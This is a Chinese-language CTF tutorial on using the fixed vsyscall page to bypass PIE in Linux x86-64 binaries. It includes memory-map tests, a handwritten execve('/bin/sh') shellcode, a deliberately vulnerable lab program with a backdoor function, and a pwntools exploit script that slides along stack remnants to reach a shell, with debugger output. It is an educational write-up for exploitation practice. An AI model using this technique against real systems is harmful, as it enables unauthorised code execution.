pwn 中 vsyscall 的利用(PIE)

在做pwn题的时候,如果遇到pie难绕过的时候,不妨试试vsyscall绕过。

实验中用到的所有文件打包下载:http://file.eonew.cn/ctf/pwn/vsyscall.zip

测试

先进行一些测试。

第一次测试:

ex@Ex:~/test$ cat /proc/self/maps
5606a6b94000-5606a6b9c000 r-xp 00000000 08:02 14680098                   /bin/cat
5606a6d9b000-5606a6d9c000 r--p 00007000 08:02 14680098                   /bin/cat
5606a6d9c000-5606a6d9d000 rw-p 00008000 08:02 14680098                   /bin/cat
5606a8165000-5606a8186000 rw-p 00000000 00:00 0                          [heap]
7fad7d1e6000-7fad7d679000 r--p 00000000 08:02 8656789                    /usr/lib/locale/locale-archive
7fad7d679000-7fad7d860000 r-xp 00000000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fad7d860000-7fad7da60000 ---p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da60000-7fad7da64000 r--p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da64000-7fad7da66000 rw-p 001eb000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fad7da66000-7fad7da6a000 rw-p 00000000 00:00 0 
7fad7da6a000-7fad7da91000 r-xp 00000000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc50000-7fad7dc74000 rw-p 00000000 00:00 0 
7fad7dc91000-7fad7dc92000 r--p 00027000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc92000-7fad7dc93000 rw-p 00028000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fad7dc93000-7fad7dc94000 rw-p 00000000 00:00 0 
7fff618ec000-7fff6190d000 rw-p 00000000 00:00 0                          [stack]
7fff61983000-7fff61986000 r--p 00000000 00:00 0                          [vvar]
7fff61986000-7fff61988000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

第二次测试:

ex@Ex:~/test$ cat /proc/self/maps
55a6a8632000-55a6a863a000 r-xp 00000000 08:02 14680098                   /bin/cat
55a6a8839000-55a6a883a000 r--p 00007000 08:02 14680098                   /bin/cat
55a6a883a000-55a6a883b000 rw-p 00008000 08:02 14680098                   /bin/cat
55a6a98e7000-55a6a9908000 rw-p 00000000 00:00 0                          [heap]
7f4e43601000-7f4e43a94000 r--p 00000000 08:02 8656789                    /usr/lib/locale/locale-archive
7f4e43a94000-7f4e43c7b000 r-xp 00000000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43c7b000-7f4e43e7b000 ---p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e7b000-7f4e43e7f000 r--p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e7f000-7f4e43e81000 rw-p 001eb000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7f4e43e81000-7f4e43e85000 rw-p 00000000 00:00 0 
7f4e43e85000-7f4e43eac000 r-xp 00000000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7f4e4406b000-7f4e4408f000 rw-p 00000000 00:00 0 
7f4e440ac000-7f4e440ad000 r--p 00027000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7f4e440ad000-7f4e440ae000 rw-p 00028000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7f4e440ae000-7f4e440af000 rw-p 00000000 00:00 0 
7ffdec5cd000-7ffdec5ee000 rw-p 00000000 00:00 0                          [stack]
7ffdec5f6000-7ffdec5f9000 r--p 00000000 00:00 0                          [vvar]
7ffdec5f9000-7ffdec5fb000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

第三次测试:

ex@Ex:~/test$ cat /proc/self/maps
55d8aea37000-55d8aea3f000 r-xp 00000000 08:02 14680098                   /bin/cat
55d8aec3e000-55d8aec3f000 r--p 00007000 08:02 14680098                   /bin/cat
55d8aec3f000-55d8aec40000 rw-p 00008000 08:02 14680098                   /bin/cat
55d8afd93000-55d8afdb4000 rw-p 00000000 00:00 0                          [heap]
7fec8d99b000-7fec8de2e000 r--p 00000000 08:02 8656789                    /usr/lib/locale/locale-archive
7fec8de2e000-7fec8e015000 r-xp 00000000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e015000-7fec8e215000 ---p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e215000-7fec8e219000 r--p 001e7000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e219000-7fec8e21b000 rw-p 001eb000 08:02 12718698                   /lib/x86_64-linux-gnu/libc-2.27.so
7fec8e21b000-7fec8e21f000 rw-p 00000000 00:00 0 
7fec8e21f000-7fec8e246000 r-xp 00000000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e405000-7fec8e429000 rw-p 00000000 00:00 0 
7fec8e446000-7fec8e447000 r--p 00027000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e447000-7fec8e448000 rw-p 00028000 08:02 12718670                   /lib/x86_64-linux-gnu/ld-2.27.so
7fec8e448000-7fec8e449000 rw-p 00000000 00:00 0 
7ffc51218000-7ffc51239000 rw-p 00000000 00:00 0                          [stack]
7ffc512d5000-7ffc512d8000 r--p 00000000 00:00 0                          [vvar]
7ffc512d8000-7ffc512da000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

如上所示,先后运行了三次cat /proc/self/maps查看本进程的内存,可以发现其他地址都在变,只有vsyscall一直稳定在0xffffffffff600000-0xffffffffff601000那么这块vsyscall是什么,又是干什么用的呢?

vsyscall

有些读者可能已经查阅过相关资料了。简单地说,现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.我们使用gdb可以把vsyscall dump出来加载到IDA中观察。

seg000:FFFFFFFFFF600000 ; Segment type: Pure code
seg000:FFFFFFFFFF600000 seg000          segment byte public 'CODE' use64
seg000:FFFFFFFFFF600000                 assume cs:seg000
seg000:FFFFFFFFFF600000                 ;org 0FFFFFFFFFF600000h
seg000:FFFFFFFFFF600000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:FFFFFFFFFF600000                 mov     rax, 60h
seg000:FFFFFFFFFF600007                 syscall                 ; $!
seg000:FFFFFFFFFF600009                 retn
seg000:FFFFFFFFFF600009 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60000A                 align 400h
seg000:FFFFFFFFFF600400                 mov     rax, 0C9h
seg000:FFFFFFFFFF600407                 syscall                 ; $!
seg000:FFFFFFFFFF600409                 retn
seg000:FFFFFFFFFF600409 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60040A                 align 400h
seg000:FFFFFFFFFF600800                 mov     rax, 135h
seg000:FFFFFFFFFF600807                 syscall                 ; $!
seg000:FFFFFFFFFF600809                 retn
seg000:FFFFFFFFFF600809 ; ---------------------------------------------------------------------------
seg000:FFFFFFFFFF60080A                 align 800h
seg000:FFFFFFFFFF60080A seg000          ends

可以看到这里面有三个系统调用,从上到下分别是gettimeofday, timegetcpu。由于是系统调用,都是通过syscall来实现,这就意味着我们似乎有一个可控的sysall了。

错误演示

test.c

用下面这段手写shellcode,来尝试一下。

// compiled: gcc test.c -g -o test
int main()
{
    asm(// str: /bin/sh
        "mov $0x0068732f6e69622f, %rax\n"
        "push %rax\n"

        "mov %rsp, %rdi\n"
        "mov $59, %rax\n" // #define __NR_execve 59
        "mov $0, %rsi\n"
        "mov $0, %rdx\n"

        "mov $0xFFFFFFFFFF600007, %rbx\n"
        "jmp %rbx\n");
    return 0;
}

调试结果

0xffffffffff600007 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x3b
 RBX  0xffffffffff600007 ◂— syscall 
 RCX  0x555555554640 (__libc_csu_init) ◂— push   r15
 RDX  0x0
 RDI  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0x0
 R8   0x7ffff7dd0d80 (initial) ◂— 0x0
 R9   0x7ffff7dd0d80 (initial) ◂— 0x0
 R10  0x2
 R11  0x3
 R12  0x5555555544f0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdc60 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RIP  0xffffffffff600007 ◂— syscall 
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x55555555460c     <main+18>    mov    rax, 0x3b
   0x555555554613     <main+25>    mov    rsi, 0
   0x55555555461a     <main+32>    mov    rdx, 0
   0x555555554621     <main+39>    mov    rbx, -0x9ffff9
   0x555555554628     <main+46>    jmp    rbx
    
  0xffffffffff600007              syscall  <SYS_execve>
        path: 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x0
        envp: 0x0
   0xffffffffff600009              ret    

   0xffffffffff60000a              int3   
   0xffffffffff60000b              int3   
   0xffffffffff60000c              int3   
   0xffffffffff60000d              int3   
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdi rsp  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ rbp      0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push   r15
02:0010│          0x7fffffffdb88 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax
03:0018│          0x7fffffffdb90 ◂— 0x1
04:0020│          0x7fffffffdb98 —▸ 0x7fffffffdc68 —▸ 0x7fffffffe012 ◂— '/home/ex/test/test'
05:0028│          0x7fffffffdba0 ◂— 0x100008000
06:0030│          0x7fffffffdba8 —▸ 0x5555555545fa (main) ◂— push   rbp
07:0038│          0x7fffffffdbb0 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0 ffffffffff600007
   f 1   68732f6e69622f
   f 2     555555554640 __libc_csu_init
   f 3     7ffff7a05b97 __libc_start_main+231
pwndbg> 

可以看到还有一步之遥就要拿到shell了,但是继续运行就会发现:

pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600007 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x3b
 RBX  0xffffffffff600007 ◂— syscall 
 RCX  0x555555554640 (__libc_csu_init) ◂— push   r15
 RDX  0x0
 RDI  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0x0
 R8   0x7ffff7dd0d80 (initial) ◂— 0x0
 R9   0x7ffff7dd0d80 (initial) ◂— 0x0
 R10  0x2
 R11  0x3
 R12  0x5555555544f0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdc60 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RIP  0xffffffffff600007 ◂— syscall 
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x55555555460c     <main+18>    mov    rax, 0x3b
   0x555555554613     <main+25>    mov    rsi, 0
   0x55555555461a     <main+32>    mov    rdx, 0
   0x555555554621     <main+39>    mov    rbx, -0x9ffff9
   0x555555554628     <main+46>    jmp    rbx
    
  0xffffffffff600007              syscall  <SYS_execve>
        path: 0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x0
        envp: 0x0
   0xffffffffff600009              ret    

   0xffffffffff60000a              int3   
   0xffffffffff60000b              int3   
   0xffffffffff60000c              int3   
   0xffffffffff60000d              int3   
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rdi rsp  0x7fffffffdb78 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ rbp      0x7fffffffdb80 —▸ 0x555555554640 (__libc_csu_init) ◂— push   r15
02:0010│          0x7fffffffdb88 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax
03:0018│          0x7fffffffdb90 ◂— 0x1
04:0020│          0x7fffffffdb98 —▸ 0x7fffffffdc68 —▸ 0x7fffffffe012 ◂— '/home/ex/test/test'
05:0028│          0x7fffffffdba0 ◂— 0x100008000
06:0030│          0x7fffffffdba8 —▸ 0x5555555545fa (main) ◂— push   rbp
07:0038│          0x7fffffffdbb0 ◂— 0x0
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0 ffffffffff600007
   f 1   68732f6e69622f
   f 2     555555554640 __libc_csu_init
   f 3     7ffff7a05b97 __libc_start_main+231
Program received signal SIGSEGV (fault address 0x0)
pwndbg> 

程序直接crash了。

原因

如上所示,直接执行sysall指令会触发中断从而crash。这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此,我们唯一的选择就是利用0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址。

利用

那么这三个地址对于我们来说有什么用呢?

滑动绕过

由于这三个系统调用都是无参数传参,而且地址固定,我们可以用它来绕过PIE,具体原理就是利用它们的影响性小的特性,而且有ret指令(可以就看成是一个ret指令),我们就可以用它不停地“滑”到下一条栈地址

滑动绕过演示

具体原理是利用栈的数据没有清理干净,还残余着以前的信息,这正好可以为我们所利用。

vsyscall.c

// compiled: gcc -g vsyscall.c -o vsyscall
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void backdoor();

int main()
{
    char buf[0x100];
    read(0, buf, 0x100 - 1);
    // 直接跳转到buf
    asm("jmp  %0" :  : "m" (buf));

    return 0;
}

void backdoor()
{
    execve("/bin/sh", NULL, NULL);
}

安全防护

ex@Ex:~/test$ checksec vsyscall
[*] '/home/ex/test/vsyscall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护基本都开了。

让我们查看一下buf的布局。首先在main函数那里下断点,如下所示:

pwndbg> b main
Breakpoint 1 at 0x705: file vsyscall.c, line 10.
pwndbg> r
Starting program: /home/ex/test/vsyscall 

Breakpoint 1, main () at vsyscall.c:10
warning: Source file is more recent than executable.
10  {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x5555555546fa (main) ◂— push   rbp
 RBX  0x0
 RCX  0x555555554770 (__libc_csu_init) ◂— push   r15
 RDX  0x7fffffffdc68 —▸ 0x7fffffffe021 ◂— 'CLUTTER_IM_MODULE=xim'
 RDI  0x1
 RSI  0x7fffffffdc58 —▸ 0x7fffffffe00a ◂— '/home/ex/test/vsyscall'
 R8   0x7ffff7dd0d80 (initial) ◂— 0x0
 R9   0x7ffff7dd0d80 (initial) ◂— 0x0
 R10  0x2
 R11  0x3
 R12  0x5555555545f0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdc50 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdb70 —▸ 0x555555554770 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffda60 ◂— 0x0
 RIP  0x555555554705 (main+11) ◂— mov    rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x555555554705 <main+11>    mov    rax, qword ptr fs:[0x28] <0x5555555546fa>
   0x55555555470e <main+20>    mov    qword ptr [rbp - 8], rax
   0x555555554712 <main+24>    xor    eax, eax
   0x555555554714 <main+26>    lea    rax, [rbp - 0x110]
   0x55555555471b <main+33>    mov    edx, 0xff
   0x555555554720 <main+38>    mov    rsi, rax
   0x555555554723 <main+41>    mov    edi, 0
   0x555555554728 <main+46>    call   read@plt <0x5555555545c0>

   0x55555555472d <main+51>    jmp    qword ptr [rbp - 0x110]

   0x555555554733 <main+57>    mov    eax, 0
   0x555555554738 <main+62>    mov    rcx, qword ptr [rbp - 8]
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/test/vsyscall.c
    5 #include <unistd.h>
    6 
    7 void backdoor();
    8 
    9 int main()
  10 {
   11     char buf[0x100];
   12     read(0, buf, 0x100 - 1);
   13     // 直接跳转到buf
   14     asm("jmp  %0" :  : "m" (buf));
   15 
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda60 ◂— 0x0
01:0008│      0x7fffffffda68 —▸ 0x7fffffffdbb0 —▸ 0x5555555545f0 (_start) ◂— xor    ebp, ebp
02:0010│      0x7fffffffda70 ◂— 0x0
... 
05:0028│      0x7fffffffda88 —▸ 0x7ffff7ffe710 —▸ 0x7ffff7ffa000 ◂— jg     0x7ffff7ffa047
06:0030│      0x7fffffffda90 —▸ 0x7ffff7b97787 ◂— pop    rdi /* '__vdso_getcpu' */
07:0038│      0x7fffffffda98 ◂— 0x380
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0     555555554705 main+11
   f 1     7ffff7a05b97 __libc_start_main+231
Breakpoint main
pwndbg> 

查看buf的栈情况:

pwndbg> x/32gx &buf
0x7fffffffda60: 0x0000000000000000  0x00007fffffffdbb0
0x7fffffffda70: 0x0000000000000000  0x0000000000000000
0x7fffffffda80: 0x0000000000000000  0x00007ffff7ffe710
0x7fffffffda90: 0x00007ffff7b97787  0x0000000000000380
0x7fffffffdaa0: 0x00007fffffffdad0  0x00007fffffffdae0
0x7fffffffdab0: 0x00007ffff7ffea98  0x0000000000000000
0x7fffffffdac0: 0x0000000000000000  0x0000000000000000
0x7fffffffdad0: 0x00000000ffffffff  0x0000000000000000
0x7fffffffdae0: 0x00007ffff7ffa268  0x00007ffff7ffe710
0x7fffffffdaf0: 0x0000000000000000  0x0000000000000000
0x7fffffffdb00: 0x0000000000000000  0x00000000756e6547
0x7fffffffdb10: 0x0000000000000009  0x00007ffff7dd7660
0x7fffffffdb20: 0x00007fffffffdb88  0x0000000000f0b5ff
0x7fffffffdb30: 0x0000000000000001  0x00005555555547bd
0x7fffffffdb40: 0x00007ffff7de59a0  0x0000000000000000
0x7fffffffdb50: 0x0000555555554770  0x00005555555545f0
pwndbg> p backdoor 
$1 = {void ()} 0x55555555474e <backdoor>
pwndbg> p (0x7fffffffdb30+8)-0x7fffffffda60
$2 = 216
pwndbg> p 216/8
$3 = 27
pwndbg> 

从上面可以看出0x7fffffffdb30+8为我们可以利用的地址,它的值是0x00005555555547bd,而backdoor的地址是0x55555555474e,所以我们只需要并把它的低字节改成0x4e,并利用vsyscall滑到那里,就可以拿到shell了,整个过程并不需要任何泄露地址信息。

利用脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"
sh = process('./vsyscall')
elf = ELF('./vsyscall')

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

ret_addr = 0xFFFFFFFFFF600000

# pause()
sh.send(p64(ret_addr) * 27 + '\x4e')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ python2 exp.py 
[+] Starting local process './vsyscall': pid 21875
[*] '/home/ex/test/vsyscall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$  

总结

貌似没有什么很大漏洞的vsyscall,如果能和其他漏洞组合起来的话,0day也是有可能的。

部分借鉴自:https://bbs.ichunqiu.com/thread-43627-1-1.html